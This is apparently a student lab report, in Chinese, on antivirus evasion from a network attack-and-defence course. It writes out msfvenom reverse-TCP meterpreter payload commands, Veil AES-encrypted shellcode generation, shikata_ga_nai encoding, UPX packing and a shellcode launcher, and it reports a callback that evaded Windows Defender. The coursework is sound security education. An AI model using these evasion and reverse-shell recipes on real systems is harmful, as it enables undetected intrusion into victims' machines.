20212320 2023-2024-2 《网络与系统攻防技术》实验三实验报告

20212320唐力 2024-04-03 20:14:51

实验三 免杀原理与实践

1.实验内容

1.1 实践目标

  • 正确使用msf编码器,veil-evasion,自己利用shellcode编程等免杀工具或技巧,或生成其他类型文件;
  • 通过Veil等工具对目标程序进行加壳或者其他操作来实现免杀;
  • 使用C+ShellCode编程实现免杀;
  • 用主机与虚拟机实测,在杀软开启的情况下,可运行并回连成功。

1.2 问题回答

(1)杀软是如何检测出恶意代码的?

  • 特征检测:杀软会使用已知的病毒特征或者行为模式来匹配扫描系统中的文件、进程或网络流量。这些特征通常是基于已知的病毒样本或病毒行为的模式。当杀软发现与已知特征匹配的代码或行为时,它会将其标记为恶意代码。
  • 行为检测:杀软会监视系统的行为,并寻找可能表明恶意活动的迹象,例如文件的异常操作、意外的网络通信等。这种方法可以检测出尚未被发现的恶意代码,因为它不依赖于已知的特征。
  • 启发式分析:杀软会使用启发式算法来评估文件或程序的潜在风险,而不是仅仅依赖已知的特征。这种方法可能会检测到新的恶意代码变种或未知的威胁。
  • 沙箱分析:有些杀软会使用沙箱技术,将潜在恶意代码放置在受控环境中运行,并观察其行为。通过观察代码在沙箱中的行为,杀软可以确定其是否具有恶意目的。

(2)免杀是做什么?

  • 免杀是指恶意代码开发者采取措施以避开杀软的检测,使其能够在受害者系统上运行而不被杀软拦截。这是一种常见的恶意软件攻击策略,旨在增加恶意软件的持久性和有效性。

(3)免杀的基本方法有哪些?

  • 多样性技术:通过对恶意代码进行修改或加密,使其生成的样本具有不同的哈希值或特征,从而避免被杀软检测到。
  • 代码混淆:通过对恶意代码进行混淆,使其在逻辑上保持一致性,但在静态分析时变得更加复杂和难以理解,从而增加杀软检测的难度。
  • 自动化测试:使用自动化工具来测试恶意代码对不同杀软的免疫性,以找出哪些版本的代码可以成功绕过杀软的检测。
  • 定向攻击:针对特定的杀软进行定制开发恶意代码,以利用其漏洞或弱点,从而避免被检测到。
  • 内存注入技术:将恶意代码注入到合法进程的内存中运行,以绕过文件扫描等传统杀软的检测。
  • 反调试技术:通过在恶意代码中添加反调试代码,以阻止杀软分析人员对其进行调试和逆向工程。

2.实验过程

2.1 免杀方法测试之msf

首先通过编辑器msf生成一个正常的后门程序,命令如下所示

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.216.138 LPORT=2320  -f exe > 20212320tl.exe

img

我们打开https://www.virustotal.com/gui/home/upload网站,进行检测。如下图所示,可以看到检测率为56/71,不加任何处理的后门程序大多数杀软都可以检测得到,因此我们用msf编码器对后门程序进行一次到多次的编码,查看编码后的检测效果。

img

接下来生成一次编码的程序

msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b '\x00' LHOST=192.168.216.138 LPORT=23200 -f exe > 20212320tl_backdoor.exe

img

上传该程序进行检测。结果如下所示,

img

经过对比发现如果仅仅是通过msf编辑器对后门程序进行处理生成.exe文件并不能有效的实现免杀,在处理前后都能被大部分的杀软识别出来,甚至被检测出来的概率都增加了。

那么接下来生成其他类型的文件,来与exe文件进行对比,首先是.jar文件,如下命令

msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.216.138 LPORT=2320 -f jar > 20212320tl.jar

img

传入VirusTotal检测,结果如下。较之前检测率有所下降

img

接下来生成.php文件,如下所示。

msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.216.138 LPORT=2320 x > 20212320tl.php

img

传入VirusTotal检测,结果如下。检测率有所下降

img

最后我们生成py文件,如下所示

msfvenom -p python/meterpreter/reverse_tcp LHOST=192.168.216.138 LPORT=2320 -f py > 20212320tl.py

img

传入VirusTotal检测,结果如下。检测率为0

img

2.2免杀方法veil

首先是安装veil,本次的安装还算顺利。最开始因为容量不够导致安装失败,要想安装成功首先必须要保障Kali机有足够的容量!。其次关于很多安装的方式,我最开始参照如下的代码,安装失败。

apt -y install veil
/usr/share/veil/config/setup.sh --force --silent

不如直接sudo apt-get install veil安装,成功。如下是一些安装过程的截图。包括中间会弹出来的python和win32。

img

img

img

安装完成后,使用如下指令进入Evasion模块。选择攻击载荷

use evasion  //或者use 1
use c/meterpreter/rev_tcp.py

如下图所示

img

接下来输入如下命令,对地址和端口进行配置,再使用generate指令生成.exe文件

selected
set LHOST 192.168.216.138
set LPORT 2320
generate

然后输入生成的文件名即可

img

导出生成的文件

cd var
cd lib
cd veil 
cd output
cd compiled
cp 20212320_veil.exe /exp3

img

将生成的程序传入VirusTotal检测,结果如下所示

img

但是发现检测率并没有那么理想

2.3免杀方法c+shellcode

使用下面指令生成一段shellcode。

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.216.138 LPORT=2320 -f c

使用touch 20212320.c新建一个.c空文件并将这一段ShellCode填入,加入主函数,填完后.c文件。使用

i686-w64-mingw32-g++ 20212320.c -o 20212320.exe

但是发现检测率也不是很好

img

2.4免杀方法加壳

使用如下命令将刚刚生成的shellcode进行加壳

upx 20212320.exe -o 20212320shellcode.exe

img

但是加壳之后的检测结果反而更差了!

img

2.5免杀方法的组合使用

img

首先使用联想自带的电脑管家对实验生成的几个文件进行手动的查杀,发现均被检测出来。
为了保证安全性,就尝试给这个文件再加一层加密壳,使用如下指令。

veil
use Evasion
use python/shellcode_inject/aes_encrypt.py
generate
//选择2
//设置本虚拟机IP和任意端口

如下图所示。

img

img

接下来在生成的时候会报错,但是实际上文件已经生成了,再同之前一样进入文件目录导出来。如下图所示

img

此时再去检测,在virustotal检测已经发现检测率为0,不过我使用电脑管家还是能查出来...

img

img

2.6主机与虚拟机实测,进行回连

主机:Windows11
虚拟机:Kali2024.1
杀毒软件:联想自带的电脑管家

这里借鉴往届学长们的博客,使用python+aes_encrypt,使用如下命令生成.raw文件

msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 6 -b '\x00' lhost=192.168.216.138 lport=2320 -f raw -o 20212320.raw
  • raw 文件格式通常用于存储未经过任何处理或编码的原始数据,不包含任何文件头或元数据。在使用 Metasploit 的 msfvenom 生成 payload 时,可以选择不同的输出格式,包括 exe、dll、raw 等。选择 raw 格式输出,生成的文件只包含 payload 的二进制数据,没有额外的文件头或元数据。这种格式适合在特定的场景下使用,比如将 payload 嵌入到其他二进制文件中,或者与其他工具进行进一步处理。

img

然后直接将生成的.raw文件粘贴至本机中,如果还是使用nc传输的话还是会出现0kb的情况。然后可以开始进行回连。shellcode_luncher.exe需要下载。下载的链接https://gitee.com/vantler/shellcode_launcher/。结果如下图所示。

img

回连成功。接下来使用联想电脑管家查杀和Windows defender查杀,均检测不出,成功躲过杀软。virustotal的检测率也为0

img

img

img

3.遇到的问题与解决方法

问题一:shellcode_luncher.exe不能直接在Windows下的文件夹下打开终端(power shell)运行。否则会出现如下图所示的情况。运行一会就会自动结束。

img

问题一的解决方法: 使用win+r进入cmd,一步步输入文件目录再运行。参见2.6部分。PowerShell使用一种称为PowerShell语言的新语法,该语法类似于其他编程语言,具有更丰富的功能和更高级的命令。而CMD使用的是旧的MS-DOS语法,命令更加简单直接。两者有共同之处但也有很多不一样的地方。

问题二:关于veil安装失败的问题
问题二的解决方法:目前的经验是,如果容量不够必定会失败,如果按照Kali最开始的默认安装容量大概率是不够的,需要扩容。其次直接使用sudo apt-get install veil,apt -y install veil /usr/share/veil/config/setup.sh --force --silent这个命令可能不太好安装,因为是从外网连接来下,不稳定。

4.学习体会

本次实验主要围绕着免杀原理进行一些实践,包括生成不同类型的文件、加壳、多种技术的组合等,不过实践的效果发现除了生成py文件,在virustotal上都没有一个很好的检测效果。
这个实验给我一个很深的体会是:针对电脑中的恶意代码,不能完全的信任自己电脑中的杀毒软件,有些恶意代码会层层伪装,跳过杀毒软件的侦察实现其目的,更多还是要从个人出发,从源头出发,保护好自己计算机的安全。
免杀原理有一个实现方式是运行时加密。即在恶意软件执行时,使用加密技术对关键代码或数据进行加密和解密。这可以使得恶意软件在存储和传输过程中难以被检测,因为在静态分析时无法直接获取到明文代码。本次实验使用到了aes加密,也顺利通过virustotal。目前单一的免杀难以躲过杀毒软件的检测,需要多种原理结合使用。实际操作中,我们可以定期审计系统和应用程序的安全配置,记录关键操作和事件的日志,以便追踪和调查安全事件。

...全文
66 回复 打赏 收藏 转发到动态 举报
写回复
用AI写文章
回复
切换为时间正序
请发表友善的回复…
发表回复

92

社区成员

发帖
与我相关
我的任务
社区描述
网络攻防作业
网络安全 高校
社区管理员
  • blackwall0321
加入社区
  • 近7日
  • 近30日
  • 至今
社区公告
暂无公告

试试用AI创作助手写篇文章吧